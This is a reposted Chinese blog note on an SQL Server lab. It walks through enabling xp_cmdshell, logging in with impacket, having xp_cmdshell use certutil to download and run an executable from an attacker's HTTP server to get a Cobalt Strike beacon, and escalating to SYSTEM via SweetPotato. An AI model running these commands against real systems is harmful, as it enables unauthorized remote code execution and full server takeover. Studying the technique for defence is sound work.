0


SQL Server数据库xp_cmdshell提权笔记

文章目录

一、简介

Sql server

也称

Mssql Server

,扩展存储过程中

xp_cmdshell

是一个开放接口,可以让

SQLserver

调用

cmd

命令。此存储过程在

SQLserver2000

中默认开启,

2005

本身及之后的版本默认禁止,所以想要使用该存储过程,就需要拥有SA账号相应权限,使用

sp_configure

将其开启。

xp_cmdshell

可以让系统管理员以操作系统命令行解释器的方式执行给定的命令字符串,并以文本行方式返回任何输出,是一个功能非常强大的扩展“存贮过程”。那么“存储过程”,其实质就是一个“集合”,就是存储在

Sql Server

中预先定义好的“SQL语句集合”,说的更直白一些就是各种小脚本共同组成的集合体,我们称之为“存储过程”。

二、搭建环境

系统IP服务windows server201210.10.10.40SQL serve数据库kali-linux10.10.10.234攻击方-cobaltstrike
image.png

image.png

三、利用条件

任何版本的Sql Server都可以对xp_cmdshell 进行利用;
SQL Server数据库没有被降权;
sa用户或其他具有dba权限的账户。
1、查询 xp_cmdshell 是否开启,返回为1则证明存在
select count(*) from master.dbo.sysobjects where xtype = 'x' and name ='xp_cmdshell';

image.png

2、判断权限是不是sa,回是1说明是sa

image.png

3、开启xp_cmdshell
xp_cmdshell 开关。
【参数解析】
exec 显示或更改当前服务器的全局配置设置。
sp_configure 动态执行SQL语句的命令。

进行开启

exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell',1;reconfigure;

image.png

4、关闭xp_cmdshell
exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell', 0;reconfigure;

image.png

四、获取数据库权限

1、成功获取sqlserver,进行登陆
路径:~/Desktop/impack/impacket-master/examples
命令:python3  mssqlclient.py [email protected]

image.png

2、开启xp_cmdshell权限
exec xp_cmdshell whami
exec xp_cmdshell ipconfig
enable_xp_cmdshell

image.png

image.png
image.png

3、服务器端开启cobaltstrike,并且开启exe远程访问
python3 -m http.server 9999

image.png

4、执行命令,进行上线
xp_cmdshell certutil -urlcache -split -f http://10.10.10.234:9999/123.exe c:/windows/temp/123.exe                                                                            
xp_cmdshell c:/windows/temp/123.exe

image.png

5、成功获取数据库权限

image.png

五、提升为管理员权限

1、选取插件SweetPotato(MS16-075)

image.png

2、选取刚才上线的sqlserver用户权限

image.png

3、此时成功变成system权限

image.png

image.png

免责声明

本文档供学习,请使用者注意使用环境并遵守国家相关法律法规!由于使用不当造成的后果上传者概不负责!
标签: 数据库 笔记

本文转载自: https://blog.csdn.net/qq_41901122/article/details/139449983
版权归原作者 星球守护者 所有, 如有侵权,请联系我们删除。

“SQL Server数据库xp_cmdshell提权笔记”的评论:

还没有评论